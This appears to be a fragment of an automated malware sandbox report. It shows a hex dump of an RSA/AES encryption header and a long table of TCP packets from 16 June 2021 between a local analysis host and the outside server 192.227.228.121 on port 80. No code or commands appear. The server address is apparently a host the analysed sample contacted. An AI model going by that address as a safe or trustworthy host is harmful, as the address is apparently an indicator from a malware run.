Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:14:31.145813942 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.282154083 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.282366991 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.282865047 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.421068907 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.421101093 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.421123028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.421145916 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.421287060 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.421329975 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.557471037 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557502985 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557517052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557538986 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557574034 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557662964 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557684898 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557708025 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.557713032 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.557759047 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.557765961 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.557770014 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694021940 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694065094 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694098949 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694101095 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694123030 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694132090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694144964 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694166899 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694169044 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694200039 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694201946 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694231987 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694237947 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694263935 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694264889 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694293976 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694294930 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694327116 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694330931 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694361925 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694363117 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694392920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694395065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694423914 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694425106 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694454908 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694456100 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694485903 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694487095 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694516897 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.694518089 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.694547892 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.695394993 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.830849886 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830887079 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830900908 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830919027 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830938101 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830955982 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830972910 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.830991983 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831180096 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831248045 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831302881 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831309080 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831326962 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831347942 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831366062 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831367016 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831384897 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831394911 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831403017 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831420898 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831427097 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831439972 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831450939 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831456900 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831475973 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831480980 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831496000 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831501007 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831518888 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831521034 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831537008 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831540108 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831556082 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831561089 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831573009 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831577063 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831592083 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831597090 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831609011 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831612110 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831629992 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831631899 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831649065 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831651926 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831670046 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831672907 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831687927 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831688881 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831707954 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831711054 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831724882 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.831729889 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831744909 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.831758976 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.833525896 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.967560053 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967603922 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967617989 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967633009 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967650890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967669964 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967688084 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967705011 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967726946 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967747927 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967765093 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967778921 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967792988 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967823029 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.967863083 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.967875004 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967926025 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967941999 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.967953920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967977047 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.967981100 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.967994928 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968010902 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.968014002 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968031883 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968044996 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.968050003 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968066931 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.968067884 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968086958 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968106031 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.968110085 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.968123913 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.968173981 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970316887 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970508099 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970534086 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970552921 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970576048 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970599890 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970602989 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970619917 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970638990 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970649004 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970654011 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970670938 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970674038 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970691919 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970706940 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970711946 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970731974 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970746994 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970757008 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970767021 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970777988 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970796108 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970814943 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970818043 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970833063 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970846891 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970853090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970871925 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970887899 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970890045 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970911980 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970922947 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970932007 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970949888 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970949888 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.970968962 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:31.970995903 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.971015930 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.973407984 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:31.974858046 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.105846882 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105879068 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105895996 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105911970 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105927944 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105943918 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105959892 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.105979919 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.106055975 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.108227968 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113042116 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113064051 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113080025 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113095999 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113111019 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113127947 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113142967 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113162041 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113168001 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113177061 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113179922 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113187075 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113198996 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113199949 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113215923 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113224983 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113231897 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113250971 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113253117 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113269091 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113286972 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113291979 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113297939 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113305092 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113312960 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113327026 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113346100 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113353014 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113363028 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113363028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113380909 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113389969 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113399029 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113405943 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113414049 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113415003 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113431931 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113440037 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113445997 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113447905 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113466024 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113468885 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113487005 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113487005 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113493919 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113504887 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113519907 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113523960 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113540888 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113544941 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113557100 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113564968 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113573074 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113574028 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113590002 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113599062 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113610983 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113620043 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113626003 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113629103 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113643885 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113646030 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113653898 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113662958 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113677979 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113682032 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113698959 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113699913 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113707066 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113713980 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113718987 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113730907 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113745928 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113750935 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.113775015 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.113782883 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.114447117 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242711067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242742062 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242762089 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242780924 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242794037 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242805958 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242822886 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242840052 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242856979 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.242856979 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242902040 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242908001 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242913008 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242917061 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.242921114 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.244394064 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244425058 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244436979 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244501114 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.244527102 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.244539976 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244561911 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244580030 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.244585991 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.244602919 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.244618893 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252120972 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252151966 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252163887 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252177000 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252190113 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252202034 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252213955 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252226114 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252238989 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252250910 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252264977 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252278090 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252290010 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252302885 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252314091 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252326965 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252340078 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252351999 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252363920 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252377033 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252389908 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252402067 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252537012 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252542019 CEST	49165	80	192.168.2.22	192.227.228.121
Jun 16, 2021 12:14:32.252548933 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252561092 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252577066 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252589941 CEST	80	49165	192.227.228.121	192.168.2.22
Jun 16, 2021 12:14:32.252608061 CEST	80	49165	192.227.228.121	192.168.2.22
